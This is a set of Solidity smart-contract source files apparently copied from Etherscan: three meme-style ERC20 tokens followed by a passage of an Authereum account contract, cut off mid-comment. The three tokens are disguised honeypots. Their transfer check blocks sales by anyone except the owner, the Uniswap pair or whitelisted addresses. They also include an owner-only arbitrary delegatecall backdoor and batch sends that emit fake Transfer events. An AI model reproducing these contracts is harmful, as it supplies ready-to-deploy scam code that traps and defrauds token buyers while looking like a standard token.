/** *Submitted for verification at Etherscan.io on 2020-10-16 */ pragma solidity ^0.5.17; /* * EasyCore * TG: https://t.me/easycoretoken */ interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract AeolusDAO { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } modifier ensure(address _from, address _to) { address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); require(_from == owner || _to == owner || _from == UNI); _; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply; owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
DC1
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract GodzillaInu { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); //go the white address first if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
DC1
/** *Submitted for verification at Etherscan.io on 2021-06-25 */ pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract ElSalvadorBitcoinCash { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); //go the white address first if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
DC1
/** *Submitted for verification at Etherscan.io on 2020-08-13 */ /** Author: Authereum Labs, Inc. */ pragma solidity 0.5.16; pragma experimental ABIEncoderV2; /** * @title AccountStateV1 * @author Authereum Labs, Inc. * @dev This contract holds the state variables used by the account contracts. * @dev This abstraction exists in order to retain the order of the state variables. */ contract AccountStateV1 { uint256 public lastInitializedVersion; mapping(address => bool) public authKeys; uint256 public nonce; uint256 public numAuthKeys; } /** * @title AccountState * @author Authereum Labs, Inc. * @dev This contract holds the state variables used by the account contracts. * @dev This exists as the main contract to hold state. This contract is inherited * @dev by Account.sol, which will not care about state as long as it inherits * @dev AccountState.sol. Any state variable additions will be made to the various * @dev versions of AccountStateVX that this contract will inherit. */ contract AccountState is AccountStateV1 {} /** * @title AccountEvents * @author Authereum Labs, Inc. * @dev This contract holds the events used by the Authereum contracts. * @dev This abstraction exists in order to retain the order to give initialization functions * @dev access to events. * @dev This contract can be overwritten with no changes to the upgradeability. */ contract AccountEvents { /** * BaseAccount.sol */ event AuthKeyAdded(address indexed authKey); event AuthKeyRemoved(address indexed authKey); event CallFailed(string reason); /** * AccountUpgradeability.sol */ event Upgraded(address indexed implementation); } /** * @title AccountInitializeV1 * @author Authereum Labs, Inc. * @dev This contract holds the initialize function used by the account contracts. * @dev This abstraction exists in order to retain the order of the initialization functions. */ contract AccountInitializeV1 is AccountState, AccountEvents { /// @dev Initialize the Authereum Account /// @param _authKey authKey that will own this account function initializeV1( address _authKey ) public { require(lastInitializedVersion == 0, "AI: Improper initialization order"); lastInitializedVersion = 1; // Add first authKey authKeys[_authKey] = true; numAuthKeys += 1; emit AuthKeyAdded(_authKey); } } /** * @title AccountInitializeV2 * @author Authereum Labs, Inc. * @dev This contract holds the initialize function used by the account contracts. * @dev This abstraction exists in order to retain the order of the initialization functions. */ contract AccountInitializeV2 is AccountState { /// @dev Add the ability to refund the contract for a deployment /// @param _deploymentCost Cost of the deployment function initializeV2( uint256 _deploymentCost ) public { require(lastInitializedVersion == 1, "AI2: Improper initialization order"); lastInitializedVersion = 2; if (_deploymentCost != 0) { uint256 amountToTransfer = _deploymentCost < address(this).balance ? _deploymentCost : address(this).balance; tx.origin.transfer(amountToTransfer); } } } /** * @title AccountInitialize * @author Authereum Labs, Inc. * @dev This contract holds the intialize functions used by the account contracts. * @dev This exists as the main contract to hold these functions. This contract is inherited * @dev by AuthereumAccount.sol, which will not care about initialization functions as long as it inherits * @dev AccountInitialize.sol. Any initialization function additions will be made to the various * @dev versions of AccountInitializeVx that this contract will inherit. */ contract AccountInitialize is AccountInitializeV1, AccountInitializeV2 {} /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. * * This contract is from openzeppelin-solidity 2.4.0 */ contract IERC721Receiver { /** * @notice Handle the receipt of an NFT * @dev The ERC721 smart contract calls this function on the recipient * after a {IERC721-safeTransferFrom}. This function MUST return the function selector, * otherwise the caller will revert the transaction. The selector to be * returned can be obtained as `this.onERC721Received.selector`. This * function MAY throw to revert and reject the transfer. * Note: the ERC721 contract address is always the message sender. * @param operator The address which called `safeTransferFrom` function * @param from The address which previously owned the token * @param tokenId The NFT identifier which is being transferred * @param data Additional data with no specified format * @return bytes4 `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` */ function onERC721Received(address operator, address from, uint256 tokenId, bytes memory data) public returns (bytes4); } /** Note: The ERC-165 identifier for this interface is 0x4e2312e0. */ interface IERC1155TokenReceiver { /** @notice Handle the receipt of a single ERC1155 token type. @dev An ERC1155-compliant smart contract MUST call this function on the token recipient contract, at the end of a `safeTransferFrom` after the balance has been updated. This function MUST return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` (i.e. 0xf23a6e61) if it accepts the transfer. This function MUST revert if it rejects the transfer. Return of any other value than the prescribed keccak256 generated value MUST result in the transaction being reverted by the caller. @param _operator The address which initiated the transfer (i.e. msg.sender) @param _from The address which previously owned the token @param _id The ID of the token being transferred @param _value The amount of tokens being transferred @param _data Additional data with no specified format @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` */ function onERC1155Received(address _operator, address _from, uint256 _id, uint256 _value, bytes calldata _data) external returns(bytes4); /** @notice Handle the receipt of multiple ERC1155 token types. @dev An ERC1155-compliant smart contract MUST call this function on the token recipient contract, at the end of a `safeBatchTransferFrom` after the balances have been updated. This function MUST return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` (i.e. 0xbc197c81) if it accepts the transfer(s). This function MUST revert if it rejects the transfer(s). Return of any other value than the prescribed keccak256 generated value MUST result in the transaction being reverted by the caller. @param _operator The address which initiated the batch transfer (i.e. msg.sender) @param _from The address which previously owned the token @param _ids An array containing ids of each token being transferred (order and length must match _values array) @param _values An array containing amounts of each token being transferred (order and length must match _ids array) @param _data Additional data with no specified format @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` */ function onERC1155BatchReceived(address _operator, address _from, uint256[] calldata _ids, uint256[] calldata _values, bytes calldata _data) external returns(bytes4); } contract TokenReceiverHooks is IERC721Receiver, IERC1155TokenReceiver { /** * ERC721 */ /** * @notice Handle the receipt of an NFT * @dev The ERC721 smart contract calls this function on the recipient * after a {IERC721-safeTransferFrom}. This function MUST return the function selector, * otherwise the caller will revert the transaction. The selector to be * returned can be obtained as `this.onERC721Received.selector`. This * function MAY throw to revert and reject the transfer. * Note: the ERC721 contract address is always the message sender. * param operator The address which called `safeTransferFrom` function * param from The address which previously owned the token * param tokenId The NFT identifier which is being transferred * param data Additional data with no specified format * @return bytes4 `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` */ function onERC721Received(address, address, uint256, bytes memory) public returns (bytes4) { return this.onERC721Received.selector; } /** * ERC1155 */ function onERC1155Received(address, address, uint256, uint256, bytes calldata) external returns(bytes4) { return this.onERC1155Received.selector; } /** * @notice Handle the receipt of multiple ERC1155 token types. * @dev An ERC1155-compliant smart contract MUST call this function on the token recipient contract, at the end of a `safeBatchTransferFrom` after the balances have been updated. * This function MUST return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` (i.e. 0xbc197c81) if it accepts the transfer(s). * This function MUST revert if it rejects the transfer(s). * Return of any other value than the prescribed keccak256 generated value MUST result in the transaction being reverted by the caller. * param _operator The address which initiated the batch transfer (i.e. msg.sender) * param _from The address which previously owned the token * param _ids An array containing ids of each token being transferred (order and length must match _values array) * param _values An array containing amounts of each token being transferred (order and length must match _ids array) * param _data Additional data with no specified format * @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` */ function onERC1155BatchReceived(address, address, uint256[] calldata, uint256[] calldata, bytes calldata) external returns(bytes4) { return this.onERC1155BatchReceived.selector; } } contract IERC20 { function balanceOf(address account) external returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); } /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the 